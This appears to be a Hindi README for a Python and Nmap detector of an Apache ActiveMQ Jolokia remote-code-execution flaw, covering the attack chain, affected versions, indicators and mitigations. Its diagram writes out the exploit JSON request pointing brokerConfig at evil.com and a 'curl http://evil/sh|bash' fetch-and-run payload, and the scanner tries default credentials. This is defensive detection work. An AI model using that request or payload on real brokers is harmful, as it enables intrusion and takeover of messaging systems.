
Apache ActiveMQ Classic RCE (CVE-2026-34197) का पता Jolokia API के माध्यम से Python और Nmap NSE स्क्रिप्ट्स से लगाता है, जो बिना प्रमाणीकरण के एक्सेस और संस्करण भेद्यता की जाँच करता है।
Apache ActiveMQ Classic में एक रिमोट कोड एक्ज़ीक्यूशन कमज़ोरियाँ जो एक हमलावर को Jolokia API (/api/jolokia/) के माध्यम से addNetworkConnector(String) MBean ऑपरेशन को कॉल करके मनमाना कोड निष्पादित करने की अनुमति देती है। हमलावर एक दुर्भावनापूर्ण brokerConfig पैरामीटर एम्बेड करता है जो एक रिमोट Spring XML फ़ाइल की ओर इशारा करता है, जिसे ActiveMQ लाकर पार्स करता है, मनमाने Java ऑब्जेक्ट्स को इंस्टैंशिएट करता है और कोड निष्पादन प्राप्त करता है।
ActiveMQ संस्करण 6.0.0 से 6.1.1 पर, Jolokia एंडपॉइंट पूरी तरह से अनप्रमाणित है, जिससे यह एक ज़ीरो-क्लिक अनप्रमाणित RCE बन जाता है।
यह कमज़ोरी AI सहायता से खोजे जाने से पहले 13 वर्षों तक कोडबेस में छिपी हुई थी।
| फ़ील्ड | विवरण |
|---|---|
| CVE ID | CVE-2026-34197 |
| विक्रेता | Apache Software Foundation |
| उत्पाद | Apache ActiveMQ Classic |
| प्रभावित संस्करण | 5.19.4 और 6.2.3 से पहले के सभी संस्करण |
| अनप्रमाणित RCE | संस्करण 6.0.0 से 6.1.1 (Jolokia में कोई प्रमाणीकरण नहीं) |
| CVSS v3.1 | 8.8 (उच्च) |
| CWE | CWE-94 — कोड उत्पादन का अनुचित नियंत्रण |
| हमला वेक्टर | नेटवर्क |
| प्रमाणीकरण | 5.x पर आवश्यक; कोई नहीं 6.0.0 से 6.1.1 पर |
| उपयोगकर्ता सहभागिता | कोई नहीं |
| एक्सप्लॉइट परिपक्वता | सार्वजनिक PoC उपलब्ध |
| पैच किया गया | ActiveMQ Classic 5.19.4, 6.2.3 में |
| बग की आयु | कोडबेस में ~13 वर्ष |
| खोज | AI-सहायता प्राप्त कमज़ोरी अनुसंधान |
Apache ActiveMQ Classic Java इकोसिस्टम में सबसे व्यापक रूप से तैनात ओपन-सोर्स मैसेज ब्रोकरों में से एक है। यह Java Message Service (JMS) विनिर्देशन को लागू करता है और दुनिया भर के हजारों एंटरप्राइज़ वातावरणों में अतुल्यकालिक संचार की रीढ़ के रूप में कार्य करता है।
ActiveMQ ऑर्डर प्रोसेसिंग कतारों और वित्तीय लेनदेन पाइपलाइनों से लेकर IoT टेलीमेट्री स्ट्रीम और माइक्रोसर्विस इवेंट बसों तक सब कुछ संभालता है। यदि आपका संगठन Java-आधारित माइक्रोसर्विस, इवेंट-संचालित आर्किटेक्चर, या किसी भी प्रकार के अतुल्यकालिक मैसेजिंग का उपयोग करता है, तो इस बात की अच्छी संभावना है कि ActiveMQ स्टैक में कहीं न कहीं मौजूद है।``` ActiveMQ Broker ┌───────────────────────┐ │ │ ┌──────────┐ │ ┌───────────────┐ │ ┌──────────┐ │ Producer │───────▶│ │ Message │ │───────▶│ Consumer │ │ (App A) │ send │ │ Queue / │ │ recv │ (App B) │ └──────────┘ │ │ Topic │ │ └──────────┘ │ └───────────────┘ │ ┌──────────┐ │ │ ┌──────────┐ │ Producer │───────▶│ ┌───────────────┐ │───────▶│ Consumer │ │ (App C) │ │ │ Jolokia │ │ │ (App D) │ └──────────┘ │ │ API (:8161) │ │ └──────────┘ │ └───────┬───────┘ │ └───────────┼───────────┘ │ ⚠️ CVE-2026-34197 Attack surface here
जब कोई हमलावर ActiveMQ से समझौता करता है, तो उन्हें सिर्फ एक सर्वर पर शेल नहीं मिलता। वे संगठन में **हर संदेश प्रवाह के केंद्र** में बैठते हैं, और महत्वपूर्ण प्रणालियों के बीच संदेशों को पढ़ने, संशोधित करने, पुनर्निर्देशित करने या इंजेक्ट करने में सक्षम होते हैं।
---
## भेद्यता का गहन विश्लेषण
### आर्किटेक्चर: Jolokia और JMX
**JMX** (Java Management Extensions) Java अनुप्रयोगों के लिए मानक प्रबंधन इंटरफ़ेस है। यह "MBeans" (Managed Beans) को उजागर करता है जो अनुप्रयोग के आंतरिक भागों की निगरानी और नियंत्रण की अनुमति देते हैं। ActiveMQ ब्रोकर, कतारों, विषयों, कनेक्शनों और अधिक के प्रबंधन के लिए MBeans को उजागर करता है।
**Jolokia** एक JMX-ओवर-HTTP ब्रिज है। यह JMX संचालन को एक RESTful JSON API में अनुवादित करता है, जिससे समर्पित JMX क्लाइंट की आवश्यकता के बिना HTTP अनुरोधों के माध्यम से Java अनुप्रयोगों को प्रबंधित करना संभव हो जाता है।
ActiveMQ Classic में Jolokia अंतर्निहित रूप से शामिल है, जो वेब कंसोल पोर्ट (डिफ़ॉल्ट: 8161) पर `/api/jolokia/` पर उपलब्ध है।```
Traditional JMX Access:
┌──────────┐ ┌──────────────┐
│ JConsole │ ────── JMX Protocol ─────────> │ ActiveMQ │
│ │ (requires JMX client) │ MBeans │
└──────────┘ └──────────────┘
Jolokia HTTP Access:
┌──────────┐ ┌──────────────┐
│ curl / │ ── POST /api/jolokia/ ───────> │ ActiveMQ │
│ browser │ (just needs HTTP) │ MBeans │
└──────────┘ └──────────────┘
⬆️
Anyone with HTTP access can
invoke MBean operations
यहीं से परेशानी शुरू होती है। Jolokia एक साधारण HTTP API के माध्यम से JMX प्रबंधन की पूरी शक्ति को उजागर करता है। और ब्रोकर पर उपलब्ध MBean ऑपरेशनों में से एक है addNetworkConnector(String)।
addNetworkConnector(String) ऑपरेशन ActiveMQ ब्रोकर इंस्टेंस के बीच नेटवर्क ब्रिज बनाने के लिए डिज़ाइन किया गया है। यह एक URI स्ट्रिंग स्वीकार करता है जो बताता है कि दूसरे ब्रोकर से कैसे कनेक्ट किया जाए।
ActiveMQ इन-प्रोसेस ब्रोकर कनेक्शन के लिए vm:// URI स्कीम का समर्थन करता है। ये URI एक brokerConfig पैरामीटर का समर्थन करते हैं जो एक Spring XML कॉन्फ़िगरेशन फ़ाइल की ओर इशारा करता है। और Spring XML मनमाने Java ऑब्जेक्ट्स को इंस्टैंशिएट कर सकता है।
यहाँ पूरी श्रृंखला है:``` Step 1: Attacker sends POST to /api/jolokia/ ┌────────────────────────────────────────────────────────────┐ │ POST /api/jolokia/ │ │ { │ │ "type": "exec", │ │ "mbean": "org.apache.activemq:type=Broker,brokerName= │ │ localhost", │ │ "operation": "addNetworkConnector", │ │ "arguments": [ │ │ "vm://b?brokerConfig=xbean:http://evil.com/pwn.xml" │ │ ] │ │ } │ └────────────────────────────────────────────────────────────┘ │ ▼ Step 2: ActiveMQ parses the vm:// URI Sees brokerConfig=xbean:http://evil.com/pwn.xml │ ▼ Step 3: ActiveMQ fetches http://evil.com/pwn.xml (outbound HTTP request from the broker) │ ▼ Step 4: The XML is parsed as Spring configuration Spring instantiates beans defined in the XML │ ▼ Step 5: Malicious bean executes arbitrary Java code ┌──────────────────────────────────────────┐ │ │ │ │ │ │ │ /bin/bash │ │ -c │ │ curl http://evil/sh|bash │ │ │ │ │ │ │ │ │ └──────────────────────────────────────────┘
ActiveMQ बिल्कुल वही कर रहा है जो इसे करने के लिए डिज़ाइन किया गया था: एक ब्रोकर कॉन्फ़िगरेशन लोड करना। समस्या यह है कि कॉन्फ़िगरेशन स्रोत हमलावर के नियंत्रण में है, और Spring XML प्रभावी रूप से एक कोड निष्पादन प्रारूप है।
### प्रमाणीकरण अंतराल
यही वह चीज़ है जो इस भेद्यता को गंभीर से क्रिटिकल स्तर तक ले जाती है:
| ActiveMQ संस्करण | Jolokia प्रमाणीकरण स्थिति | प्रभाव |
|:---:|:---:|:---:|
| 5.x (< 5.19.4) | प्रमाणित (डिफ़ॉल्ट: admin:admin) | प्रमाणित RCE, अक्सर आसानी से बायपास हो जाता है |
| 6.0.0 से 6.1.1 | **पूरी तरह से अप्रमाणित** | **अप्रमाणित RCE** |
| 6.1.2 से 6.2.2 | प्रमाणित | प्रमाणित RCE |
| 5.19.4+ / 6.2.3+ | पैच किया गया | भेद्य नहीं |
ActiveMQ 6.0.0 से 6.1.1 पर, Jolokia एंडपॉइंट को **शून्य प्रमाणीकरण** की आवश्यकता होती है। कोई भी व्यक्ति जो पोर्ट 8161 तक पहुँच सकता है, उसे अप्रमाणित रिमोट कोड निष्पादन मिल जाता है।
यहां तक कि उन संस्करणों पर जहां Jolokia को प्रमाणीकरण की आवश्यकता होती है, डिफ़ॉल्ट क्रेडेंशियल `admin:admin` व्यापक रूप से ज्ञात हैं और अक्सर विकास, स्टेजिंग और उत्पादन वातावरण में अपरिवर्तित छोड़ दिए जाते हैं।
---
## प्रभाव विश्लेषण
**ब्रोकर होस्ट पर तत्काल प्रभाव:**
- ActiveMQ प्रक्रिया के विशेषाधिकारों के साथ पूर्ण रिमोट कोड निष्पादन
- सभी संदेश कतारों, विषयों और संग्रहीत संदेशों तक पहुँच
- ट्रांज़िट में संदेशों को पढ़ने/संशोधित करने/इंजेक्ट करने की क्षमता
- कॉन्फ़िगरेशन फ़ाइलों, कीस्टोर और संग्रहीत क्रेडेंशियल तक पहुँच
**डाउनस्ट्रीम प्रभाव (संदेश हेरफेर के माध्यम से):**
- प्रोसेसिंग कतारों में दुर्भावनापूर्ण संदेशों का इंजेक्शन
- फ्लाइट में वित्तीय लेनदेन, ऑर्डर या कमांड का संशोधन
- ब्रोकर के माध्यम से बहने वाले संवेदनशील डेटा का अवरोधन
- सभी संदेश-निर्भर सेवाओं का विघटन
**एंटरप्राइज़ जोखिम प्रवर्धन:**
- ActiveMQ हर उस एप्लिकेशन के चौराहे पर बैठा है जो इसका उपयोग करता है
- एक समझौता किया गया ब्रोकर दर्जनों कनेक्टेड सेवाओं को प्रभावित कर सकता है
- संदेश ब्रोकर आमतौर पर व्यापक पहुँच वाले विश्वसनीय नेटवर्क ज़ोन में स्थित होते हैं
- ब्रोकर की नेटवर्क स्थिति से पार्श्व गति सीधी है```
What an attacker can do after exploitation:
┌─────────────────────────────────────────────────────────┐
│ Compromised ActiveMQ Broker │
└────┬───────────┬───────────┬───────────┬──────────┬─────┘
│ │ │ │ │
▼ ▼ ▼ ▼ ▼
Read/modify Inject Pivot to Intercept Deploy
messages malicious connected creds in persistent
in transit messages systems messages backdoor
| संस्करण | स्थिति |
|---|---|
| ActiveMQ Classic 6.2.3+ | पैच किया गया |
| ActiveMQ Classic 5.19.4+ | पैच किया गया |
| ActiveMQ Classic 6.0.0 से 6.2.2 | असुरक्षित (6.0.0 से 6.1.1 = बिना प्रमाणीकरण के) |
| ActiveMQ Classic < 5.19.4 | असुरक्षित (प्रमाणीकृत) |
| ActiveMQ Artemis | प्रभावित नहीं (अलग कोडबेस) |
Python स्क्रिप्ट बहु-चरणीय विश्लेषण के माध्यम से असुरक्षित ActiveMQ इंस्टेंस का पता लगाती है।
यह कैसे काम करता है:
/api/jolokia/ बिना प्रमाणीकरण के सुलभ है (HTTP 200 = खुला, 401 = प्रमाणीकरण आवश्यक)admin:admin, user:user, admin:activemq आज़माता है/admin/ और / पृष्ठों से ActiveMQ संस्करण स्ट्रिंग्स निकालता हैorg.apache.activemq:type=Broker के लिए एक सुरक्षित Jolokia खोज क्वेरी करता हैकोई एक्सप्लॉइट पेलोड नहीं भेजा जाता। कोई कमांड निष्पादित नहीं की जाती। स्कैनर केवल एंडपॉइंट पहुँच और संस्करण जानकारी का अवलोकन करता है।
उपयोग:```bash
pip install -r requirements.txt
python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -t http://activemq-host:8161
python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -t http://10.0.0.1:8161 -u admin -p secret
python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -f targets.txt -o results.json -v
python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -t https://activemq-host:8161
python CVE-2026-34197_ActiveMQ_Jolokia_detector.py -t http://10.0.0.1:8161 --timeout 20
**विकल्प:**
| फ़्लैग | विवरण | डिफ़ॉल्ट |
|------|-------------|---------|
| `-t`, `--target` | एकल लक्ष्य URL (जैसे, `http://host:8161`) | — |
| `-f`, `--file` | लक्ष्य URL वाली फ़ाइल, प्रति पंक्ति एक (`#` टिप्पणियाँ समर्थित) | — |
| `-u`, `--username` | Jolokia प्रमाणीकरण के लिए उपयोगकर्ता नाम | — |
| `-p`, `--password` | Jolokia प्रमाणीकरण के लिए पासवर्ड | — |
| `-o`, `--output` | परिणाम JSON फ़ाइल में सहेजें | — |
| `--timeout` | कनेक्शन टाइमआउट सेकंड में | `10` |
| `--verify-ssl` | SSL प्रमाणपत्र सत्यापन सक्षम करें | अक्षम |
| `-v`, `--verbose` | पूर्ण विवरण के साथ विस्तृत आउटपुट | बंद |
**उदाहरण आउटपुट:**```
[*] CVE-2026-34197 Apache ActiveMQ Jolokia RCE Scanner
[*] Scanning 1 target(s)...
======================================================================
Target: http://10.0.0.1:8161
Scan Time: 2026-04-14T15:30:00Z
Risk Level: CRITICAL
======================================================================
Jolokia Accessible: YES
Requires Auth: NO (unauthenticated)
ActiveMQ Version: 6.1.0
Vulnerable: YES
Unauth RCE (6.0-6.1): YES — CRITICAL
Broker MBean Access: YES
Details:
- Jolokia API accessible WITHOUT authentication
- Detected ActiveMQ version: 6.1.0
- Version 6.1.0 is in unauthenticated range (6.0.0 - 6.1.1)
CRITICAL: No auth required!
- Broker MBean accessible: [org.apache.activemq:type=Broker,...]
======================================================================
[*] Scan Complete: 1 targets scanned
[*] Vulnerable: 1 | Critical: 1
======================================================================
sudo cp CVE-2026-34197_ActiveMQ_Jolokia.nse /usr/share/nmap/scripts/ sudo nmap --script-updatedb
nmap -p 8161 --script CVE-2026-34197_ActiveMQ_Jolokia
nmap -p 8161 --script CVE-2026-34197_ActiveMQ_Jolokia 10.0.0.0/24
nmap -p 8161,61616,443,8080 --script CVE-2026-34197_ActiveMQ_Jolokia
nmap -p 8161 --script CVE-2026-34197_ActiveMQ_Jolokia -iL targets.txt
nmap -sV -p 8161 --script CVE-2026-34197_ActiveMQ_Jolokia
**उदाहरण Nmap आउटपुट:**```
PORT STATE SERVICE
8161/tcp open http
| CVE-2026-34197_ActiveMQ_Jolokia:
| VULNERABLE:
| Apache ActiveMQ Jolokia RCE (CVE-2026-34197)
| State: VULNERABLE
| Risk level: CRITICAL
| ActiveMQ Version: 6.1.0
| Jolokia Accessible: true (unauthenticated)
| Description:
| CRITICAL: Jolokia API is accessible without authentication on
| ActiveMQ 6.1.0, enabling unauthenticated remote code execution
| via addNetworkConnector MBean.
| References:
|_ https://nvd.nist.gov/vuln/detail/CVE-2026-34197
यदि आप curl के साथ मैन्युअल रूप से जांचना चाहते हैं:```bash
curl -sk http://:8161/api/jolokia/ | python3 -m json.tool
curl -sk -u admin:admin http://:8161/api/jolokia/ | python3 -m json.tool
curl -sk http://:8161/api/jolokia/search/org.apache.activemq:type=Broker,brokerName=*
| python3 -m json.tool
यदि चरण 1 Jolokia एजेंट जानकारी के साथ JSON प्रतिक्रिया लौटाता है, तो एंडपॉइंट प्रमाणीकरण रहित है। यदि चरण 2 डिफ़ॉल्ट क्रेडेंशियल्स के साथ काम करता है, तो आपके पास प्रमाणित पहुंच है। किसी भी तरह से, यदि ब्रोकर MBean सुलभ है, तो शोषण पथ मौजूद है।
---
## समझौते के संकेतक
अपने वातावरण में इन संकेतों पर नज़र रखें:
| संकेतक | कहाँ जाँचें | क्या देखें |
|:---|:---|:---|
| Jolokia पहुंच | वेब कंसोल एक्सेस लॉग | `/api/jolokia/` पर POST जिसमें `addNetworkConnector` शामिल हो |
| आउटबाउंड फ़ेच | नेटवर्क लॉग / फ़ायरवॉल | ActiveMQ से अप्रत्याशित बाहरी होस्ट्स तक HTTP अनुरोध |
| Spring XML लोडिंग | ActiveMQ लॉग | `xbean:http://` URI के संदर्भ |
| नेटवर्क कनेक्टर | ब्रोकर कॉन्फ़िगरेशन | `brokerConfig` पैरामीटर वाले `vm://` URI जो आपने नहीं बनाए |
| चाइल्ड प्रोसेस | प्रोसेस मॉनिटरिंग | ActiveMQ Java प्रोसेस द्वारा उत्पन्न अप्रत्याशित प्रोसेस |
**जांच कमांड:**```bash
# Check ActiveMQ logs for suspicious Jolokia operations
grep -r "addNetworkConnector\|brokerConfig\|xbean:http" /var/log/activemq/
# Check for unexpected network connectors in running broker
curl -sk http://<TARGET>:8161/api/jolokia/read/org.apache.activemq:type=Broker,brokerName=localhost/NetworkConnectors
# Monitor for unexpected outbound connections from the ActiveMQ process
ss -tnp | grep java
# Check for unexpected child processes
ps aux --forest | grep -A5 activemq
तत्काल कार्रवाई (अभी करें):
/api/jolokia/ तक बाहरी पहुंच को रोकने के लिए फ़ायरवॉल नियम या रिवर्स प्रॉक्सी ACL जोड़ेंadmin:admin चला रहे हैंअल्पकालिक (इस सप्ताह):
addNetworkConnector ऑपरेशन देखें)दीर्घकालिक:
केरेम ओरुक (Kerem Oruç) — साइबर सुरक्षा इंजीनियर